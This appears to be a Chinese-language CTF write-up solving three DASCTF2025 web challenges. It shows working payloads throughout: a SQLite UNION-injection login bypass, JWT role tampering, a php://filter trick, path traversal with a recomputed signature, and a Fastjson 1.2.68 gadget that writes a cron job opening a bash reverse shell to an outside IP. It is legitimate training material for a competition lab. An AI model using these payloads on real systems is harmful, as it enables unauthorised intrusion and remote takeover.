DASCTF2025 Web Reproduce
SecretPhotoGallery
[!TIP]
This is a mysterious gallery system, but the sqlite database is empty, is it?
由题目可知,数据库是空的,那么常规的 ' OR '1'='1 就会失败,所以可以尝试联合查询:
1
| admin' UNION SELECT 1,2,3 FROM sqlite_master--
|

可以看到已经成功进入了,然后如果使用bp进入的话,能抓到一段JWT:

1
| eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4nIFVOSU9OIFNFTEVDVCAxLDIsMyBGUk9NIHNxbGl0ZV9tYXN0ZXItLSIsInJvbGUiOiJndWVzdCIsImlhdCI6MTc2NTQ1MjMzM30.d5SB4O2DmU-RhCXR9zVaL8XDzwFxr-G-Xjapva9kAMc
|
然后可以尝试直接将role改成admin后上传:

可以发现出现了admin通道,进入看看:

但是发现就算是改成了admin也不能通过第二层校验,所以猜测可能需要密钥,通过观察首页的图片,可以归纳出如下信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Photo 1: G1001 | File: mountain_view.jpg Photo 2: A2002 | File: spring_garden.jpg Photo 3: L3003 | File: lazy_cat.jpg Photo 4: L4004 | File: beach_life.jpg Photo 5: E5005 | File: evening_stars.jpg Photo 6: R6006 | File: river_forest.jpg Photo 7: Y7007 | File: city_youth.jpg Photo 8: 28008 | File: peak_2k.jpg Photo 9: 09009 | File: lake_0deg.jpg Photo 10: 210010 | File: trail_2miles.jpg Photo 11: 411011 | File: wild_4x4.jpg Photo 12: S12012 | File: sunset_sky.jpg Photo 13: E13013 | File: pier_edge.jpg Photo 14: C14014 | File: country_crops.jpg Photo 15: R15015 | File: rural_ranch.jpg Photo 16: E16016 | File: tech_era.jpg Photo 17: T17017 | File: summit_top.jpg
|
提取出首字母 G-A-L-L-E-R-Y-2-0-2-4-S-E-C-R-E-T(不是这里还塞misc呢)
所以我们的密钥就是:GALLERY2024SECRET

然后就是简单的伪协议读flag:php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php
1 2 3 4
| <?php $a = "+ADw?php +ACQ-flag +AD0 'DASCTF+AHs-b214d6bd-7e8b-46d4-ba9a-232b7f17617c+AH0AfQ'+ADs?+AD4"; $b = iconv("UTF-7","UTF-8",$a); echo($b);
|
devweb
[!TIP]
这是一个正在开发中的网站
随便点点登录发现一直请求超时,然后我们看看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| const cp = { data() { return { username: "", password: "", errorMessage: "" } }, methods: { async handleSubmit() { if (!this.username || !this.password) { this.errorMessage = "请输入用户名和密码"; return } const t = new Oo; try { t.setPublicKey(this.publicKey), await this.submitLogin("username=" + encodeURIComponent(this.username) + "&password=" + encodeURIComponent(t.encrypt(this.password))) } catch (e) { console.error("加密失败:", e), this.errorMessage = "加密失败: " + e.message } }, async submitLogin(t) { new Oo; try { (await dt.post("http://localhost:8080/login", t, { headers: { "Content-Type": "application/x-www-form-urlencoded" } })).status === 200 ? (this.errorMessage = "", alert("登录成功!")) : this.errorMessage = "登录失败" } catch (e) { e.response ? this.errorMessage = e.response.data.message || "登录失败" : e.request ? this.errorMessage = "请求超时" : this.errorMessage = "请求错误: " + e.message, console.error("登录请求失败:", e) } } } }
|
发现这里是需要用RSA加密过后的密码进行登录,然后公钥已经给我们了,那我们需要做的就是弱密码爆破,可以知道最后的账号密码为:
然后加密一下,但是这边登录是向localhost发送请求,我们直接登录是登录不上的,所以我们可以直接用bp发送POST请求过去:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST /login HTTP/1.1 Host: 7052506f-6e20-49d9-a96c-6756f09e6e51.node5.buuoj.cn:81 Content-Length: 540 sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8" Accept: application/json, text/plain, */* Content-Type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close
username=admin&password=%57%65%41%5a%6a%76%35%43%79%79%32%75%49%78%77%52%33%4a%35%66%32%73%36%71%6d%75%4f%78%71%52%4a%38%54%66%74%4f%34%31%74%39%51%44%44%4a%70%68%34%63%78%2b%78%71%47%54%31%5a%48%36%58%47%50%7a%64%54%57%51%4b%34%79%78%50%58%65%61%65%72%4d%50%34%57%70%74%41%51%36%67%58%76%42%36%34%52%52%48%64%4b%72%43%33%4d%77%7a%34%36%54%59%2b%75%31%61%4f%39%46%51%79%56%34%48%58%4f%6d%6d%6a%30%75%52%37%42%58%6b%53%4a%63%62%6c%68%62%45%59%2b%32%41%33%50%61%6e%30%65%57%5a%2f%66%63%54%74%50%39%49%78%7a%4d%69%46%6d%2f%33%46%38%65%7a%67%3d
|
虽然是302,但是可以得到Cookie:JSESSIONID=4BC3AAA292284FB0DADFC582308DD212
然后你再翻翻源码,可以看到这么一段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| const Fd = { data() { return { fileList: [{ name: "app.jmx" }, { name: "index.html" }] } }, created() { this.fetchFiles() }, methods: { fetchFiles() { this.fileList = [{ name: "app.jmx" }, { name: "index.html" }] }, downloadFile(t) { alert(`正在下载文件: ${t.name}`), window.location.href = `/download?file=${t.name}&sign=6f742c2e79030435b7edc1d79b8678f6` } } }
|
发现可以下载文件,并且在文件列表里有一个app.jmx,我们直接下载即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| GET /download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6 HTTP/1.1 Host: 7052506f-6e20-49d9-a96c-6756f09e6e51.node5.buuoj.cn:81 sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8" Accept: application/json, text/plain, */* sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36 Cookie:JSESSIONID=4BC3AAA292284FB0DADFC582308DD212 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close
|
然后我们可以得到app.jmx的信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| <?xml version='1.0' encoding='UTF-8'?> <jmeterTestPlan version="1.2" properties="5.0" jmeter="5.0"> <hashTree> <TestPlan guiclass="TestPlanGui" testclass="TestPlan" testname="Download Test with Parameters" enabled="true"> <stringProp name="TestPlan.functional_mode">false</stringProp> <boolProp name="TestPlan.serialize_threadgroups">false</boolProp> <elementProp name="TestPlan.user_defined_variables" elementType="Arguments" guiclass="ArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true"> <collectionProp name="Arguments.arguments"> <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="mingWen" enabled="true"> <stringProp name="Argument.name">mingWen</stringProp> <stringProp name="Argument.value">test</stringProp> <stringProp name="Argument.metadata">=</stringProp> </elementProp> <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="salt" enabled="true"> <stringProp name="Argument.name">salt</stringProp> <stringProp name="Argument.value">f9bc855c9df15ba7602945fb939deefc</stringProp> <stringProp name="Argument.metadata">=</stringProp> </elementProp> </collectionProp> </elementProp> <stringProp name="TestPlan.comments_or_notes"/> <boolProp name="TestPlan.serialize_threadgroups">true</boolProp> </TestPlan> <hashTree> <ThreadGroup guiclass="ThreadGroupGui" testclass="ThreadGroup" testname="User Group" enabled="true"> <stringProp name="ThreadGroup.on_sample_error">continue</stringProp> <elementProp name="ThreadGroup.main_controller" elementType="LoopController" guiclass="LoopControlPanel" testclass="LoopController" testname="Loop Controller" enabled="true"> <boolProp name="LoopController.continue_forever">false</boolProp> <intProp name="LoopController.loops">1</intProp> </elementProp> <stringProp name="ThreadGroup.num_threads">1</stringProp> <stringProp name="ThreadGroup.ramp_time">1</stringProp> <longProp name="ThreadGroup.start_time">0</longProp> <longProp name="ThreadGroup.end_time">0</longProp> <boolProp name="ThreadGroup.scheduler">false</boolProp> <stringProp name="ThreadGroup.duration"></stringProp> <stringProp name="ThreadGroup.delay"></stringProp> <boolProp name="ThreadGroup.same_user_on_next_iteration">true</boolProp> </ThreadGroup> <hashTree> <JSR223PreProcessor guiclass="JSR223Panel" testclass="JSR223PreProcessor" testname="Calculate Sign" enabled="true"> <stringProp name="JSR223PreProcessor.language">groovy</stringProp> <stringProp name="JSR223PreProcessor.parameters">import org.apache.commons.codec.digest.DigestUtils;</stringProp> <stringProp name="JSR223PreProcessor.reset_vars">false</stringProp> <stringProp name="JSR223PreProcessor.clear_stack">false</stringProp> <stringProp name="JSR223PreProcessor.script"> def mingWen = vars.get('mingWen'); def firstMi = DigestUtils.md5Hex(mingWen); def jieStr = firstMi.substring(5, 16); def salt = vars.get('salt'); def newStr = firstMi + jieStr + salt; def sign = DigestUtils.md5Hex(newStr); vars.put('sign', sign); </stringProp> </JSR223PreProcessor> <hashTree/> <HTTPSamplerProxy guiclass="HttpTestSampleGui" testclass="HTTPSamplerProxy" testname="Download File" enabled="true"> <boolProp name="HTTPSampler.postBodyRaw">false</boolProp> <stringProp name="Comment"/> <elementProp name="HTTPsampler.Arguments" elementType="Arguments" guiclass="HTTPArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true"> <collectionProp name="Arguments.arguments"> <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="file" enabled="true"> <stringProp name="Argument.name">file</stringProp> <stringProp name="Argument.value">test</stringProp> <stringProp name="Argument.metadata">=</stringProp> </elementProp> <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="sign" enabled="true"> <stringProp name="Argument.name">sign</stringProp> <stringProp name="Argument.value">${sign}</stringProp> <stringProp name="Argument.metadata">=</stringProp> </elementProp> </collectionProp> </elementProp> <stringProp name="HTTPSampler.domain">localhost</stringProp> <stringProp name="HTTPSampler.port">8080</stringProp> <stringProp name="HTTPSampler.protocol">http</stringProp> <stringProp name="HTTPSampler.contentEncoding">UTF-8</stringProp> <stringProp name="HTTPSampler.path">/download</stringProp> <stringProp name="HTTPSampler.method">GET</stringProp> <boolProp name="HTTPSampler.follow_redirects">true</boolProp> <boolProp name="HTTPSampler.auto_redirects">false</boolProp> <boolProp name="HTTPSampler.use_keepalive">true</boolProp> <boolProp name="HTTPSampler.DO_MULTIPART_POST">false</boolProp> <stringProp name="HTTPSampler.body_data"/> <boolProp name="HTTPSampler.bypass_proxy">false</boolProp> <stringProp name="HTTPSampler.proxy_host"/> <stringProp name="HTTPSampler.proxy_port"/> <stringProp name="HTTPSampler.proxy_username"/> <stringProp name="HTTPSampler.proxy_password"/> <stringProp name="HTTPSampler.implementation">HttpClient4</stringProp> </HTTPSamplerProxy> <hashTree/> </hashTree> </hashTree> </hashTree> </jmeterTestPlan>
|
这么大一坨中,我们可以提取出一些关键的:
1 2 3 4 5 6 7 8 9 10 11 12
| mingWen test salt f9bc855c9df15ba7602945fb939deefc
import org.apache.commons.codec.digest.DigestUtils def mingWen = vars.get('mingWen'); def firstMi = DigestUtils.md5Hex(mingWen); def jieStr = firstMi.substring(5, 16); def salt = vars.get('salt'); def newStr = firstMi + jieStr + salt; def sign = DigestUtils.md5Hex(newStr); vars.put('sign', sign);
|
按照这个我们可以加密出最终的sign,然后尝试获取flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| GET /download?file=../../../../flag&sign=720160b91d9821ad52a0bcf520cc4fce HTTP/1.1 Host: 7052506f-6e20-49d9-a96c-6756f09e6e51.node5.buuoj.cn:81 sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8" Accept: application/json, text/plain, */* sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36 Cookie:JSESSIONID=4BC3AAA292284FB0DADFC582308DD212 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close
|

Sunset
[!TIP]
看落日的时候,看看传参方式呢
启动要点时间,稍微等等
Romantic is not the sunset
but the one who watches it with you
弱密码admin/123456可以直接登录,然后来来回回测试也就是重置密码和登录两个页面,然后由提示,看传参方式,于是bp抓包重置界面看看:

可以用一些常见的payload来测试一下:
1 2
| { "@type": "java.lang.AutoCloseable"
|

可以看到对应的是Fastjson,然后版本是1.2.68,网上搜搜对应版本的漏洞,可以搜到一些文章:
漏洞篇 - Fastjson 1.2.68 - 1.2.80 利用 - 妙尽璇机
刚好文章中提到了 commons-io 写文件,并且有现成的POC,可以来试试,但是最终看官方wp还是写在计划任务里的,相应的payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| { "x": { "@type": "com.alibaba.fastjson.JSONObject", "input": { "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.CharSequenceReader", "charSequence": { "@type": "java.lang.String""* * * * * root bash -c 'bash -i >& /dev/tcp/124.222.84.212/2222 0>&1' #aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa